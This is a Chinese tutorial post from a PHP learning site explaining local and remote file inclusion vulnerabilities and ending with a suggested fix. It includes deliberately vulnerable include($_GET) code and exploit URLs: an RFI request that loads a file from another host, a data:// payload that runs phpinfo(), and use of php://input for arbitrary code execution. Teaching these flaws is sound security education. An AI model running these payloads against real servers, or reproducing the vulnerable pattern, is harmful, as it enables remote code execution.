来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 0x00包含漏洞成因首先需要了解include()函数与require()函数,他们会将所包含的任何格式的文件以php形式执行。两个函数功能基本相同,此外只有当所包含的文件不存在的时候才会体现两个...
*学习PHP中,依然是搜索引擎加上个人实践的结果
**抛砖引玉~ <?php echo "It is How include() run.\r\n"; include('no.no'); echo 'XDSEC'; ?> <?php echo "It is How require() run.\r\n"; require('no.no'); echo 'XDSEC'; ?>
<?php $content = $_GET['content']; include($content); ?>
<?php $content = 'x.jpg'; for($i=1;$i<=1000;$i++){ $content .="/"; $a = @include($content.".htm"); //包含错误则不回显 if($a == 1){ echo $i; //包含成功时返回/个数 } }
以上就是常见的LFI(Local File Inclusion)的方法,另外,当allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件。
0x13 RFI 利用于不可上传文件时。 Usage:http://127.0.0.1/test.php?content=http://10.11.221.133/x.jpg%00 更多的,当gpc=on时,RFI可以用?来截断,如图。 当然,如果有如下过滤 <?php $content = $_GET['content']; if (strrpos($content, "http")===false) { include($content.".htm"); } else { echo "Wrong File!"; } ?> 限制了CONTENT中不能出现http字样,那么就无法远程包含了。另有绕过方法。
0x14 PHP伪协议 关于php封装协议的内容,请查阅php手册相关。 在此只是举出几例应用。 PHP 5.2起,可以用data://封装数据流 Usage: http://127.0.0.1/test.php?content=data://text/plain,<?php%20phpinfo();?>
自 PHP 4.3.0 起支持 php://output 和 php://input, 而利用php://input输入流,则相当于拿到一个可以任意执行的漏洞。 Usage: 只要我们输入流提交任意命令都会当成一个php语句来执行。猥琐的利用。
0x15 etc Apache日志包含,系统文件包含,目录遍历。。。各种牛逼漏洞不明觉厉,可惜是linux下的,我对linux不了解,就不班门弄斧了,等待各位来补充。
0x20 How To fix it <?php $content = $_GET['content']; if (strrpos($content, "..")===false) { include("temp/".$content.".htm"); } else { echo "Wrong File!"; } ?> 预先将要包含的文件放入一个temp文件夹,这样RFI跟伪协议都行不通了,然后禁止content中出现..来禁止跳到其他目录. PS:这个脚本是我自己写的,有错的话希望大家不吝赐教。
Reffer: 1. https://www.t00ls.net/viewthread.php?tid=22603&highlight=%E5%8C%85%E5%90%AB 2. http://www.2cto.com/Article/201301/184439.html 3. http://www.2cto.com/Article/201304/201062.html |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com